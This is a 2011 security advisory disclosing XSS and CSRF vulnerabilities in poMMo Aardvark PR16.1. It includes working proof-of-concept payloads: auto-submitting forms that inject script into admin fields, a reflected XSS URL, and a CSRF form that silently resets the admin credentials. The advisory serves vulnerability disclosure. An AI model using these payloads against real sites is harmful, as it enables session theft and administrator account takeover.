poMMo Aardvark PR16.1 Cross Site Request Forgery / Cross Site Scripting

`=============================  
Vulnerability ID: HTB22976  
Reference: http://www.htbridge.ch/advisory/multiple_xss_cross_site_scripting_vulnerabilities_in_pommo.html  
Product: poMMo  
Vendor: Brice Burgess ( http://pommo.org/ )   
Vulnerable Version: Aardvark PR16.1  
Vendor Notification: 26 April 2011   
Vulnerability Type: XSS (Cross Site Scripting)  
Risk level: Medium   
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerabilities exists due to failure in the "admin/setup/config/general.php", "index.php", "admin/subscribers/subscribers_groups.php", "admin/setup/setup_fields.php" scripts to properly sanitize user-supplied input in "site_name", "referer", "group_name" and "field_name" variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
1.  
  
<form action="http://host/admin/setup/config/general.php" method="post" name="main">  
<input type="hidden" name="list_name" value="Mailing List">  
<input type="hidden" name="site_name" value='poMMo"><script>alert(document.cookie)</script>'>  
<input type="hidden" name="site_name" value="poMMo Website">  
<input type="hidden" name="site_url" value="http://www.example.com/">  
<input type="hidden" name="site_success" value="">  
<input type="hidden" name="site_confirm" value="">  
<input type="hidden" name="list_confirm" value="on">  
<input type="hidden" name="list_exchanger" value="mail">  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
2.  
  
http://host/index.php?referer=1"><script>alert(document.cookie)</script>  
  
  
3.  
  
<form action="http://host/admin/subscribers/subscribers_groups.php" method="post" name="main">  
<input type="hidden" name="group_name value='group"><script>alert("XSS")</script>'>  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
4.  
  
<form action="http://host/admin/setup/setup_fields.php" method="post" name="main">  
<input type="hidden" name="field_name" value='1"><script>alert(document.cookie)</script>'>  
<input type="hidden" name="field_type" value="text">  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
=============================  
Vulnerability ID: HTB22977  
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_pommo.html  
Product: poMMo  
Vendor: Brice Burgess ( http://pommo.org/ )   
Vulnerable Version: Aardvark PR16.1  
Vendor Notification: 26 April 2011   
Vulnerability Type: CSRF (Cross-Site Request Forgery)  
Risk level: Low   
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )   
  
Vulnerability Details:  
The vulnerability exists due to failure in the "admin/setup/config/users.php" script to properly verify the source of HTTP request.  
  
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
Attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
  
<form action="http://host/admin/setup/config/users.php" method="post" name="main">  
<input type="hidden" name="admin_username" value="admin2">  
<input type="hidden" name="admin_password" value="newpass">  
<input type="hidden" name="admin_password2" value="newpass">  
<input type="hidden" name="admin_email" value="[email protected]">  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
`